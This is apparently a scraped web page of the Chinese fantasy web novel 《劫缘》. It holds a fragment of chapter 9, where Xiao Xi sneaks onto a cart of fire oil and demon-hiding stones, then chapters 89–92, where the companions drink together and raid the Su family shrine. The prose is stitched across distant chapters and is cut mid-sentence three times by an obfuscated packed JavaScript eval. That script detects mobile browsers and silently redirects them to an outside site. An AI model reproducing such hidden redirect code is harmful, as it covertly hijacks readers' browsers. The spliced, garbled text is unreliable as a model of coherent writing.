“你永远都是第一个,”仙机门门主浅浅勾唇,后而才缓缓放下手中刚点燃的香坛炉,门主拍拍沾染香灰的手又补充道,“各种方面都是。” “师父过誉了。” “今日仙机指引已出,你该上路了。” “徒儿不知此 9. 不速之客 《劫缘》全本免费阅读 正值夜黑风高之时,可怖的黑夜如同一只默默潜伏的猛兽,正预谋着伺机而动。 这场夜晚,处处弥漫着一股诡异的味道,似一张还未捅破的“窗纸”。窗外好像能够隐隐将危险的血腥气透过。如今,好似就差一个动机将其捅破,从而将其彻底释放。 林间有车马穿梭而过,辘辘远听,杳不知其所之也。 此时又似天现惊雷,雷霆乍惊,俨然一副暴雨前夕的情形。此情此景,那车辙之声居然与这天上惊雷别无二差,二者完美重合,更徒增了几分惊悚。 纵使萧喜用上她常常引以为傲的轻功,想要追上这队黑夜里狂奔的“黑马”也不免吃力。 虽然如此,可奈何这只“黑马”命不好,今晚恰恰遇到的是个执拗的主儿。萧喜生性倔强,这老天偏不让她做什么,她就偏要做什么,从小到大一概如此! 萧喜一身暗黑夜行衣,在惊雷呼啸的浑黑天地间穿梭。 除了眼睛,她的其他地方皆被遮掩得严严实实,这样恰好保证了叫任何人都认不出她的真实面目,甚至是性别也不易判断。看来萧喜此番行动所为之事,定然不是什么善茬儿。 萧喜终是使上了九牛二虎之力才不容易追上车马,她掀开车上的挂帘,趁赶马的那对兄弟不注意,得了空子钻进了马车里。 “操他娘的......”萧喜没忍住在心里爆了粗口,她虽然是个女子,却是个不拘小节的性子。 “大晚上在这陡坡上奔这么快,不怕掉进那涯子里去吗?!” 萧喜强压下堵在嗓子眼儿里的血腥味儿,显然是精力疲尽所致。由于她现在在车里,不方便作出动静,所以她连大口喘息的机会都没有。 更难受了! 萧喜千番小心行动,那赶马的兄弟俩倒是真的对此时情形一无所知。那车马还在呼啸颠簸着,每次一“咯噔”都要让萧喜提心吊胆一番。 这俩二儿货真以为自己是什么神驾手吗?!这般无所顾忌,真不怕掉进山崖里去? 那涯子可是深不见底得很!萧喜清楚得不能再清楚了,她虽不是本地人,但在这几天不吃不喝、彻头彻尾的辛勤观察下,她也把此地的地形摸地差不多了。 这里是南方偏西部的一方温湿之地,北高南低低。故虽是南方之地,却也能有高峰陡崖,不过自然比不过那连峰去天不盈尺般的绝世高巅。但对于作为一个地地道道的东南方人的萧喜,这平台山的涯子见了也叫人毛骨悚然。 待上了马车,萧喜才暗暗想道—— 好在他们没有发现...... “呼......”想到这里,萧喜终是长吁一口气,倍感欣慰。 车程遥远、夜路颠簸,一声惊雷又轰得萧喜一身激灵,乍现的雷电发出耀眼的白光,呼啸的山风微微掀起车上的锦绣花帘子。就此白光恰好与车上事物相对应,叫萧喜看清了车上的物件。 萧喜小心蹲下,为了避免被那兄弟二人不敢恭维的车技甩出去,她只好有些狼狈着扶着车蹲稳,姿势颇像......在野地里随便掘了个屎坑,而她刚好是在这里蹲坑的冤种。 “这是......” “火油?!”萧喜立马意识到了不对劲,后知后觉的惊恐和阴森诡异慢慢袭来——这偌大的车上竟然盛满了火油! 这可不像寻常商贾人家进出货的场景,这近乎逃命似的情形让萧喜不得不浮想联翩。何况细想起来,在如今大周的太平盛世里,皇帝最忌讳百姓不和睦、地方不安顺,所以早就禁止了这种民间走私威胁性极强的易燃物品的行为。 按道理...... 如今的大周是万万不会叫人看到这多得吓人的、由“火油”堆积成的“火油山“的才对! 这车马果然有问题! 数日暗中观察下,萧喜还有一点甚是不解。且看这马车上盛满了火油,却不为那市锦繁华所奔。倒是相反,沿着这条路推算,这辆车子每日凌晨自北而来,过了这平台山,通往的正是路途不过半个时辰的平台镇。 后来萧喜还发现,此车每日半夜起身又会从山南脚部的平台镇经过这条路,再次奔往北方,也不知到底要去哪里。 还有,要问萧喜为何今日要铤而走险,非要夜行探车,还得源于萧喜发现的最易被忽视的一个线索—— 马车凌晨从北方呼啸往平台镇,据东升之日推算需时不到半个时辰。 半夜原路返回却要多费事半柱香的时间...... 萧喜当即判断,这车上定是从平台镇运了什么出来才会导致车重加大,从而延缓速度。此行径日日如此,奔波不息,急得像是要去投胎。 不过萧喜也十分佩服那二位当马夫的兄弟,这般危险的林路,这般凶猛的火器,还能这般“勇往无前”,可谓是“艺高人胆大”了。 时下,那惊雷又轰了两声,好似在好心提醒此时隐蔽行事的萧喜,要叫她抓紧时间、多加小心。 怎么......总感觉有种不详的预感...... 就在此时,那车马不知道半路磕到了什么,又是“哗啦”,又是“轰隆”的,震了个遍。 还猥琐地蹲着的萧喜差点没直接跪下去。 “操他娘的,会不会拉车啊!”萧喜凶狠极了地在心中咒骂。 因为这偶然的震动没有惊得那层层叠叠摆放的火油桶们有所反应,所以萧喜投来了若有所思的目光,她还在思索这到底是何样的原理才能叫这些火油桶们“不动如山”。 就在此时,一块不知是什么的东西从火油桶群的间隙里滚落出来,直到滚落到萧喜的靴边才停止。 什么东西? 石头?火油桶旁安什么石头? 外面的惊雷又逼近了,晃起来的白光又耀眼了几分。外面呼啸的山风也越来越肆无忌惮,吹得那车帘更加不知所措,甚至干脆放弃了抵抗,放那无限的雷光涌入车内,也照亮了萧喜的视野。 她看清了那块“石头” 这是...... 莹石?!!! 靠!完了! 萧喜大惊,眼珠子差点没从挣得溜圆的眼眶子里掉出来,几乎哆嗦地说不出话来。 旁人定然会不知此时萧喜心中所惧,因为这莹石本就不是一般的法器。 莹石只是它的代称,它的全称“拒妖莹石”才是它的真面目。此石,寻常情况下状如河滩鹅卵,色如海岸黑礁,且日光照射下无泽无润,朴实无华,平平无奇。 可一旦此石接触到妖气,就会一改“前车之鉴”,化糙入莹,宛若皎洁月光之宝玉。拒妖莹石世间稀缺,没多少人家用得起,在寻常百姓新年佳时还在守岁执桃符、抓桃剑、贺爆竹驱邪的时候,仅仅少数的达官贵人家才会请出一小块莹石用为拒“妖邪”供给微不足道的力量。 可是,令萧喜不可置信的是,她循着脚边莹石的方向瞧去,她看到的却是一垒堆积成宛若小山似的莹石堆儿。 萧喜为何会忽然心生顾虑,还得从它听闻过的一个传说谈及—— 这“拒妖莹石”虽是贵气的宝物,但殊不知,此仙物亦如万物,有正面的光鲜,亦有背后的鄙夷。 它可以拒“妖邪“,亦可保“妖邪”。 莹石的存在可以净化妖气,从而不会叫旁人意识到妖气的存在。听闻世上有很多的妖都惧怕莹石的净化之气,却也有能驾驭得了的大妖借石隐蔽妖气,从而浪迹天涯,逍遥无阻,没有任何一个修仙门派能够寻到他们的气息。就算是仙机门,也不能。 便是这样,这些天下来,这对妖兄弟才能在北方和南方间畅通无阻啊! 莹石净化妖气,若是在此期间遇到了阳刚正气,它便会吸收转化它们,并发出莹润的色泽。 萧喜揪着夜行服,隔着衣服小心翼翼地要把那只莹石推走。不知是否错觉,那只莹石好像已经开始变幻色泽了,犹如一道不易让人察觉的淡淡月光。 萧喜现在恨不得一棒子把自己捶死。 她一直以来都自诩自己是“天妒英才”般的人物,觉得自己是与众不同又杰出开放的伟大女性,她是聪明极了的才对! 聪明个屁啊,萧喜!!! 你要是聪明,在你明明觉得这驾车的俩兄弟如此可疑的情况下,怎么还会觉得大半夜在山崖上不要命似的呼啸而过的,会是个正常人啊! 他俩是妖啊,是要靠一堆莹石掩盖妖气的有钱大妖啊!还不是一个,是俩个!!! 如今莹石触靴,早已接收了她的阳气,她再怎么挣扎都无用了!那俩兄弟肯定已然察觉到了!怎么办啊,怎么办?!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12876529|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的往事,他倒是理解了几分,便点了点头。 朗月借着之前布置在沧凌城里里外外的十六阵点,找到了芍七的踪迹。萧喜了解之后,就从柜子里拎了一把铜钱串子,跨门而出。 …… 沧凌城街上依旧花繁似锦,人潮川流不息。车水马龙之间,食物的芳香肆意飘扬,直抵鼻尖。 午饭的时辰刚过,大街小巷的摊子上,老板小二们已经收拾好了大大小小的碗碟和七零八落的残羹剩饭。 摊子底下,一小二,模样不过十来岁,肤色黢黑。夏日炎热,人来人往之间,无一人来他这里买酒。太阳光底下,他拉了个凉意歪歪斜斜地靠在上头,抱着刚换上来的酒坛,睡意翻涌,眼皮瞌拉直翻。 一声声的铜板声哗哗啦啦地蹦跶下来,直把小二的瞌睡兽赶跑。 “小二,给我坛烈酒!”萧喜喊道。 小二见有人来买酒,又惊又奇,他擦擦哈喇子,问道:“姑娘真是奇人,这大热天的哪有人买烈酒喝的,也不怕辣嗓子!” 萧喜笑了笑,没说什么,抱着酒就走了。 …… 乌巷里挤满了形形色色的人,这里头不卖糕点酒食,倒是喜欢捣腾什么铁器木器亦或是些小玩意儿。 萧喜大老远看见芍七熟悉的身影,他独自一人待在乌巷河边一处稍微僻静的亭子底下,愣愣地发呆,也不知道到底在想什么。 萧喜拎着那坛酒,往芍七那头直接丢了过去。 到底是习武之人,他一个反手,目不斜视就接住了从背后突如其来的酒坛。盛满酒水的泥坛靠在他滚热的手心,触感滑腻,凉地隔开了烈日下的闷热,叫人恍神。 芍七一愣,回头看见了萧喜,就像是见了瘟神似的,别过眼去。 萧喜要是没看错,他应该还冷哼了一声。 不过好在芍七也没有要躲她的意思,萧喜直接走了过去。 “你来做什么?” “你家小公子让我来的。” “废话……不然你也找不到我。”芍七凉凉道。 萧喜:“……” “兄弟,喝酒吗?”萧喜岔开话题,抬手点了点芍七手里的那坛酒。 芍七眉梢微动,看得出来他的心思很是动摇。但不知出于什么原因,他还是摇了摇头,把酒坛抛了回去。 他佯装浑不在意,说道:“不喝!” “为什么?”萧喜接住了坛子。 “不合规矩,会被公子罚。” “都多大人了,还跟小屁孩似的怕这儿怕那儿。”萧喜扬了扬眉眼,企图对他用激将法。 “你懂什么……”芍七嘟囔了一句。 “喝一杯吧,”萧喜捧着酒坛,释然一笑,“我心底不舒坦,你心底也不舒坦,我为人坦坦荡荡,实在不愿别人因为我而憋着一口闷气。有一句古话,我有一坛酒,可以慰风尘。喝完了,心里就舒服了。” 芍七再傻也不会傻到听不出萧喜口中的言外之意,他看向萧喜,许久才道:“不是你的错,是我的错,是我没有识破歹人陷进,只会义气用事,酿成大祸。” 这番话真是熟悉,想来此之前,萧喜也是这般自埋自怨。 但现在,多亏了朗月,萧喜早已振作起来。 她学着朗月的口吻,掷地有声地说道:“我们都没有错,错的是藏在苏府祠堂伺机而出的幕后黑手,他太过狡猾,换成谁都逃脱不了的。” 芍七默了默,心底浮起了一阵酸痛,他复看向萧喜,说道:“还是把酒给我吧。” “谢谢兄弟您给我面子。”萧喜恭维一笑。 90. 酒慰风尘(2) 目前看来,这坛可慰风尘的酒对芍七的作用,实在要比萧喜的重要的多。萧喜只找了只酒碟,往里头倒了一杯,其余的都给了芍七。 酒香勾人,仿佛能吹皱人们心中的一池水,叫人心旌摇荡,欲罢不能。 芍七捧着坛子,灌了好几大口。 说起来,这好像是他第一次喝酒。或许是……他自从变成剑灵以后喝下的第一口酒。 酒水太烈,灌地他嗓子、肺腑、胃水火辣辣的疼,烈地他的双颊烧起了一片红意,烈地他差点要抓不住心,让情绪变成涛涛江水跨堤而来。 现在的天气闷地很,少了清爽的河风,火辣辣的疼痛和烧灼得不到慰藉,反而愈来愈变本加厉。 芍七忽地丢去了酒坛,酒坛碎了一地。还有大半的酒水渐次漫开,漫到小亭边缘,挤成一条窄流,争先恐后的化作水滴,滴落到亭下,给风平浪静的河面平添了几分波澜。 “你骗我,这东西根本不好喝,何以解忧?”芍七涣散的眼神艰难地聚焦到了萧喜身上。 “怎么不能解?你现在只要诚实地回答我几个问题,我就能帮你解了忧愁。”萧喜淡道。 芍七对此颇为相信,应道:“这有何难,但问无妨。” “以我对你的了解,你好像并不是个乐于助人的家伙,除了朗月,你对谁都不例外,冷漠得很。柳芊芊的命运再怎么悲惨,她的话术再怎么能迷惑人心,都不应该构成你帮她的条件吧? 还有,柳芊芊死后,你的反应也很特别。你应该很在意柳芊芊吧?说起来,在我们三人之间,你与她的交际应该是最多的。你……不会早就对她有意思吧?” 芍七皱了皱眉,对萧喜忽然提出的这个问题表现地格外语塞,他摇了摇头:“我不理解你说的这些。情为何物,我半分不懂。至于你说的……那些……” 他顿了顿,最后还是憋出了一句话:“在和柳芊芊相处过程里,我意识到自己好像很早就认识了她,我对她,倒是有种说不出来的依赖感……特别像是……岁月悠悠,一见如故。” 萧喜对这个回答还是意外的,还感到一种说出不口的奇怪。 “其实你真的不懂我……也不懂柳芊芊……”芍七迷迷糊糊道。 “什么……” “柳芊芊她过得太惨了……我就是……很难受,她死了,让我觉得很失败……放眼我整个光华剑生,都没有像这样失败过……太憋屈了……”说罢,芍七居然抹了一把心酸的泪。 萧喜看着芍七,心里也不知是什么滋味。 “除此之外,就没有别的了吗?”她问道。 芍七闻言抽空瞅了她一眼,闷了一声,说道:“当然还有!” “烦死人了!又是沧凌城血蠕,又是柳芊芊,又是苏且光的……”芍七怨念深重,后又死盯住了萧喜,嚷着,“还有你!” “我怎么了?”萧喜看着涕泗交流、颇有孩童撒泼作风的芍七,嘴角忽起一波尽显无奈的笑意。 “我从平台镇的时候就不喜欢你,谁成想,到了沧凌城还遇到了你……虽然,你现在是让我改观了不少,但……但我就是觉得你这个人心思太过沉重,永远让人猜不透。” “你家小公子的心思你不也猜不透么?这么抓着我不放,你这是带了偏见。”萧喜反驳道。 芍七皱了皱眉,似是不满,他说道:“总之……我不知道你对于我家小公子究竟有何看法……也不知道你究竟有什么样的目的,我都不想看到你再对他有任何越矩的行为……我家小公子从小就不容易……谁都不能再伤害他!” 朗月这样的人……也会从小就不容易么…… 谁都不能再伤害他……难道之前,有什么事情已经伤过了他? 萧喜愣了愣,半晌才回神,后来哂了芍七一声:“你倒是衷心耿耿。不过,你也放心,我是肯定不会害他的。” “还有,莫要再伤心,柳芊芊的仇,沧凌城因血蠕而备受折磨之人的仇,我们肯定都会报的。错的人另有旁人,从来不是我们,不要自责。” “我知道了。” 芍七淡淡应了一声。 紧接着,他的气息就渐渐弱了下去,最后只剩下了一道道匀净的呼吸声。 萧喜默默饮完了那碗烈酒,微醺的酒意升腾在她的脸颊,她背靠栏杆,望着乌巷街头来去匆匆的人潮,不知看了多久,酒意才渐渐淡掉,她说道:“酒也喝了,话也谈了,愁也解了大半儿……” 无人应答,芍七的睡意已经被酒意牵动,困地不省人事。 …… 日暮红霞满天,几缕压得深沉的阴云夹在其间,显得有些突兀。今日的傍晚比往日阴沉了两分,许是因为迫近雨时的缘故。 “萧喜。” 萧喜恍恍惚惚间好似听到了有人在唤他,语气清淡,但也温和。 对了,夏日本就容易嗜睡,她这是一不小心睡了个午觉?酒意还未完完全全散去,倒是让她睡得比往日安稳了不少。 她晃了晃头,方看清来人模样。 “朗月……你怎么来了?” “我若是再不来,你们两个怕是睡到深更半夜都不够了。” 萧喜被他逗笑,摆了摆手,说道:“我们这是养精蓄锐,晚上干活才有力气!” 朗月打量着她,侃了一声:“看来精神确实恢复得不错。” 萧喜扬了扬下巴,倒是一副自豪的模样。 “事不宜迟,还有半个时辰,在出发之前再和芍七把对策商量清楚。”朗月对萧喜道。与此同时,他那头已经把芍七推醒了。 一下午光阴既过,酒意散却,芍七除了昏睡时涨脑的不适感,别的也就没有什么了。没过多久,他就将不适感忍了下去,脑袋清楚了不说,之前塞在心头足足几日的沉闷酸涩之感也几近消失不见,心境好似被拨了云的月,朗朗乾坤之下,豁然开朗。 …… 三人倒是没打算回城郊的屋子,直接落脚在一处偏僻的巷子里头,商讨对策。 萧喜和朗月的模样都看起来都各有心事,很明显是在思索今晚的流程。芍七在此时就像是个局外人,对于其他两人的思路一无所知,也不敢插什么话。 这种氛围奇怪的很。 他低眉顺眼地问了一句:“小……小公子……您不怪我?” 朗月被他拉回神。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12896244|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧喜倒是敢在前头回了话:“怪你做甚?如果是喝酒违门规的事儿,那也是我唆使你的,该怪的人也是我。” 看朗月没说话,萧喜也有些心虚。 她对他解释道:“毕竟短时间内想要顺心气儿,还得靠酒嘛。” 朗月无奈的摇了摇头,在大难临头面前,这些所谓的门不门规的事儿安在前头才是本末倒置。 “无碍。” “那就好。”芍七顺了一口气,终于舒坦了。 “话说,我们今晚就要行动了吗?”芍七提到正事上,说这种事情的时候,他倒正经了。 “嗯,机会仅有一次。拖不得了,不然,等到幕后黑手彻底破开封印的时候再动手的话,凭我们几个人的力量完全不可能的。简而言之,我们得抓住齐芒星阵留给我们的这段时间。” 萧喜简单描述了一下动机。 “什么……意思……齐芒星阵怎么忽然成了封印怪物的东西?之前不是说……是帮那怪物助纣为虐的……还有那什么双玉苏且光……”芍七有些乍舌。 “所以你猜猜我们之前为什么被耍得团团转?直到今天,我和朗月才忽然意识到事情的严重性。今天白天你几乎都不在,自然消息落后了。”萧喜说道。 “所以……我们又被骗了?好啊,这得多少层的骗局?一局包一局的,当包菜呢?!”芍七怒了。 如今时间有限,再帮芍七仔细梳理白日里萧喜和朗月总结出来的结论已经过迟。现在一切只得从简,萧喜嫌麻烦,加上她可能的确做不到平生气和的把事情捋顺,所以这等重任就全盘交托给了朗月。 …… 不到一刻钟的时间,朗月就顺利让芍七了解了现状。 芍七脑子运转,联系到了之前的一系列叫他费解的事情……比如朗月针对仙机门态度的问题。 “所……所以……小公子您之所以临时起意,迟迟不肯搬救兵,原……原来是因为您本来就想瞒着仙机门对吗?!引魂针……这……这可是妖物的鬼东西,您这是犯了门规里最大的忌讳!这可是勾结妖物啊!”芍七又惊又吓,舌头都快捋不直了,结结巴巴的。 朗月点了点头。 “这仙机门门主有你们二位后生,应是很欣慰的。”萧喜还不忘站着说话不腰疼似的在旁调侃一句。 “好了,我先来谈谈我进一步较为详细的计划吧,”萧喜顾了顾朗月和芍七二位,“在入夜后的雨水落下之前,我们能做到的可能就只要静观其变四个字,不管发生什么,或者是那狡猾的东西再变着法儿的弄什么幻觉来拖延时间,我们最多也就做到只防不守。所以,尽量调理好情绪,不可冲动。” 后面这句话,她时对自己说的,更是对芍七说的。 她方才点出了一个很难捕捉到的一个细节,那就是,不管幕后之人多么自信,那也不可以忽视他的戒心,说不定他还会再设置一层乃至更多层的骗局,以此来达道拖延时间的问题。 可能是针对芍七和柳芊芊的那种情景类的骗局。 也可能是针对于朗月和萧喜的那种武力干预类的骗局。 时间紧凑的情况下,众人还是更加倚重于后者。 91. 波潭乱雨(1) “你说的有道理。”朗月和芍七都表示赞同。 “再者,齐芒星阵本就已经残破不堪,我们无需再和前两次一样费劲气力地寻找漏洞进去。不如提前看好方向,以最快的速度进到苏府祠堂的地界。还有……既然处处都围绕着‘封印’二字,那我们的目标无非就只有一个,那就是找到原本封印怪物的那柄剑。” “不出意外的话,应该就是摆在壁龛上的那一把了。”朗月是亲眼见过那柄剑的。 “可是,昨夜那场大水早已把苏府祠堂冲得个粉身碎骨,那柄剑……在废墟之间,恐怕不好找。”芍七顿了顿,觉得事情远不如嘴上说的那么简单,棘手的程度其实很有上限。 “不如以其人之道还治其人之身,他可以拖延我们的时间,那我们也去拖延他的时间。到时候,如果事情真如芍七所料,我们直接兵分两路。”萧喜继续说道。 “那谁去找剑?”芍七提到。 兵分两路这个路子其实并不好说,毕竟之前还是差点吃了亏的。 “我去。你们两个能耐比我大,一旦波潭乱雨成功迷惑了幕后黑手的耳目感知,最佳时机不可错过,届时还要靠你们去对付他。所以,找东西的任务就交给我。”萧喜自告奋勇道。 “不行,”朗月语气斩钉截铁,“越是靠近祠堂的地界,就越是危险。你一个人去,只能送死。” “我已经知道了触发黑雾的条件,只要合理利用好这一点,我不仅不会丧命,还能给你们放风。” “如今引魂针的用途虽已被知晓,但要如何将其触发还是一个问题。我想,柳芊芊死前再三提醒我们带着苏且光的双玉去祠堂就是和这个问题挂钩的了,所以也就是说,进祠堂的人不仅仅要找剑,还要顺利燃玉引出苏且光的残魂,借他的力量释放引魂针的神力。 萧喜,我不相信你能厉害到如此面面俱到。我们之前说好了,有些事情本就不能勉强,更不可以逞强。” “我还有纸人助我一臂之力,你和芍七面临的危险要远远甚于我,所以我没有逞强。” 萧喜朝朗月伸出手,想让他把引魂针和双玉交给她。 “不可能,你不能去。”朗月的态度很坚定。 “为什么?!”萧喜不悦,在她看来,朗月的做法虽然不算是不尊重她的勇气,但却是一种不理解她的表现。 “没有为什么,总之,你不能去……”朗月别过脸去,很明显,他不想在和萧喜纠结这件事。 “那你告诉我,现在还能怎么办?!”萧喜不肯放弃,又绕到了朗月跟前。 “你必须要和我一起去。”朗月没有回避,直接盯回萧喜。 芍七看不下去了,直接打断道:“萧喜你这样确实太过冒险,而且你把我想得太弱了……只要黑柄剑的真身在我身边,黑雾就奈何不了我,加上那东西不是还没有完全冲破封印么?还有那什么乱雨干扰他,我也就更加能应付得了。所以,这种时候,更需要小公子的应该是你萧喜才对。” 萧喜一个人,怎么当面斗得过这两个男人!她只好憋憋气,闷了许久只对着朗月挤出来一句话:“你最好不是还有别的事情瞒着我。” 朗月眸色微敛,没说话。 “二位还等什么?出发吧。”萧喜唤了唤其他两人。 …… 三人直接步行至目的地,路上走走停停,长街烟火却依旧齐放不止,夜色攀爬上来,摊子上已经摆满了敞亮的灯火焰烛。于之前所熟悉的景象不同,今儿摊子上多摆放了些防风防水的各式各样的风灯,被油纸包裹着的烛火闪烁着朦朦胧胧的光华,替却了天角被熏黑的云雾遮掩住的月光。 雨水开始洒落,窸窸窣窣,敲响了决战的钟声。 苏府门前冷落,但至少还收拾了过于残缺的部分,看起来比昨日大水涛涛下的那般骨瘦形销好很多。 一抹抹惹眼的颜色,在雨夜下晃动。 芍七和朗月已经提前预料到了这股杀气,原来那一抹抹在黑夜中突出的色泽是一张张披在人身上的白色大袍,自苏府大门里,有着源源不断如此衣着打扮的人从中涌出。从涌动的白色身影间,还能隐约看见一道道泛着银光的剑气。 芍七已经拔出了剑,二话不说就冲上前去,以一己之力堵住敌方的攻击范围。 朗月朝萧喜伸出手。 萧喜点了点头。 “我记得你轻功应该不错。”朗月说道。 “嗯,所以不用担心我,你自己顾着自己就行。”萧喜用另外一只手抹了一把脸上的雨水,神色之上,锋芒毕露。 朗月放心地应了一声。 随后,两人的身影于瞬间没入了黑暗,越过了高高的门墙,直冲祠堂而去。 虽然已经做好了足够的心理准备,但真到面对现实的时候,朗月和萧喜都免不住心中一阵酸涩。 昨日的大水以一己之力冲破祠堂,祠堂四下里废墟堆地比人高,乱草被压地将头死死地嵌进了烂泥,不成形状……肃杀的死气被束缚地闷在里头,出不去,越酿越沉,越沉越死…… 其实,这些,他们在事情发生时都看到过,哪怕没有看清楚,也可以凭借心理的压力将其想象出来。 可当现在,完完全全设身处地再次看去,画面的惊悚程度远比想象力撞击心灵时还要有力。 不知是出于谁的手笔,昨日近乎烂入虚无的祠堂居然在一日之内让支撑其骨架的木桩忽然出现,在有限的空间里立住了一方天地。话虽如此,但祠堂还是没有恢复成初始的模样,破败依旧,只是程度削减了一些罢了。 四方木桩立在中央,周身毫无遮挡物,只是孤零零地撑着,黑黢黢的空间里只够摆放两样东西,似是故意而为。 这两样东西并不大,却触目惊心。 这是两口棺材,一大一小。 大的那口,对于萧喜和朗月来说是熟悉的,之前也曾见过,里头躺着的不用想都可以知道是苏且光。 而它旁边新添的那口棺材……里头摆着的,就只能是柳芊芊了。 两口棺材被钉地严严实实,它们被故意摆地格外贴近,上头拉了一条被雨水打湿了的红绸花。继续走近,四根柱子的尽头,忽然可以被看清了……原本摆放佛像的壁龛四周,徒留下一抔抔糜烂而乌漆麻黑的碎瓷,应是佛像的遗骸,壁龛上头,那柄剑被完好地摆在原来的位置上,再往上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12904440|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,则是一张被湿气濡地将要烂掉的大大的“囍”字。 “囍”字戳眼,摆在这种场面上,极具讽刺意味。到头来,让柳芊芊变得宛如惊弓之鸟的“冥婚”之事还是成了真……但,柳芊芊最后得知了与她共眠之人是故人时的心情究竟是什么样呢? 是和最初那样坚定对抗命运时的稳如磐石,还是撕开命运造化弄人的假象后无力回天时的悔恨和惋惜呢…… 或许苏且光在最开始认识柳芊芊时,就故意换用化名的良苦用心就在于他也不愿看到柳芊芊变成这样吧…… 可,已经来不及了。 历史已然翻篇…… 萧喜不敢闭眼,只要眼帘落下,那夜柳芊芊将死之时都悲惨模样就历历在目,挥之不去。 朗月将握住她的那只手扣地更紧了一些,这种无声的鼓励,比任何形式都来得合适。 另一头芍七已经解决掉了那一波白袍人,并在下一波更多的白袍人围堵之前赶到了安置祠堂的院子里。 朗月和芍七传递了一下眼神,后而和萧喜说道:“准备好了吗?” “好了。”萧喜抿了抿唇,给自己壮胆道。 他们这边最初的打算是,先将剑有惊无险地拿过来,再燃双玉唤魂。 至于如何做到有惊无险…… 萧喜已经从怀里掏出一叠用油纸制成的纸人,纸人们被她轻轻一点忽地就有了生命,二话不说就蹦蹦跳跳地沿着她的臂膀一个接一个地跳下去,轻飘飘地蹦过水坑,没留任何水纹。 它们一只一只蹦进了祠堂,起初动作都比较收敛。直到它们与那两只棺材擦肩而过的时候,发觉没有触发黑雾,动作就肆无忌惮了起来。 看来萧喜赌对了,她考虑到雨夜天气和妖怪特性的问题,不仅替换了纸人的材料,还在上面做下了特殊的符咒。 这种符咒被附加在纸人之上时,在短时间之内它的气息并不会被外界察觉,在波潭乱雨效果的影响下,怪物的反应也可能不如以往灵活,加上纸人的动作几乎可以忽略不计。所以,只要纸人动作够快,黑雾就可能无法被立刻触发。 就算还是避不掉黑雾这一环,那也能做到拖延时效的作用。大不了,等纸人们拿到剑之后,再对付黑雾。 眼看着纸人们已经把那柄剑从壁龛上端了下来,萧喜和朗月身后闪来一阵阵刀光剑影,划破霏雨,刺耳尖锐。紧接着芍七不知被什么东西攻击地直往身后飞撞,最后狼狈地撞倒到祠堂里头的一角支柱,冲击力太过强悍,芍七身后的那只柱子眼看着就要倒下去了。 随之而来的,就是剧烈的震动声,响彻黑夜,屋檐破碎,本就衰败的祠堂顶端坠下一抔抔被雨水搅混的湿泥,啪嗒啪嗒,恶心地紧,它们被拍打入地,不见踪迹,似化为乌有。其余三根支柱纷纷摇晃震动,一根一根接着歪倒折断,这下要不了多久,祠堂就是要彻彻底底再塌一次了。 “不好!”萧喜大叫一声,她情急之下忙要松开朗月的手,直接朝里头奔过去,从纸人手上把封印之剑接过来。 “萧喜,回来!”朗月一个紧张喊出了声,随后才压低声线,小心警告,“黑雾被触发了,你不可离开我半步。” 92. 波潭乱雨(2) 萧喜眼看着快要到手的剑以一发不可收的势态没入深不可测的浓雾,而自己却无能为力,只能被朗月束缚住手脚。她的内心被一股无法言喻的痛苦和绝望填满,这些情感亦如那浓墨般的雾,扩散到看不见希望。 朗月这边根本来不及顾及此刻萧喜的心情,他努力抓紧时间捕捉芍七的动向,生怕错过了时机就此被黑雾盖住视角。 他见芍七口含鲜血,神情很是隐忍,但依旧掩不住痛苦,这很明显是受了极重内伤之后的表现。不……恐怕还要更加糟糕,芍七很可能已经陷入了神志不清的状态。 能让芍七历此磨难的是何方圣神? 封印并未完全解除,除了那些白袍人以外,应当不会有其他对手了才对。难道,那帮白袍人的数量竟已经泛滥到如此地步? 而今黑雾袭来,纵使因乱雨影响,幕后黑手无法再用数以万计的乱针对付他们,但这些数量多到恐怖的白袍人也很对付。 如果在这种时候,芍七与他们失联那将是极为糟糕的事情。 朗月在一瞬间闪过这些细思极恐的想法。 他立刻反应过来,也不顾虑其他,放声喊了芍七一声,试图让芍七赶快脱离涣散的神智。 “芍七!赶快离开那儿!” 同时朗月拉着萧喜往芍七那里竭力奔去。 芍七好似听到了公子的呼唤,他尝试挪动躯体,可太过沉重的压力让他的努力变成虚无。他拼尽全身气力,最后也不过瞥见了朗月和萧喜一眼。紧接着黑雾铺天盖地下来,谁都看不见谁了,浓雾深处,除了愈下愈大,淅淅沥沥的雨声,还有忽然响彻天际的坍塌声,震地脚底下的土地都虚浮了几度。 剩下的最后一根支柱也被迫折碎了腰,祠堂,在雨夜里,塌地尸骨无存。 萧喜心头余震未止,她拽了拽朗月的手,声音不自然地压低:“听到了吗?这些脚步声已经快把我们包围了。” 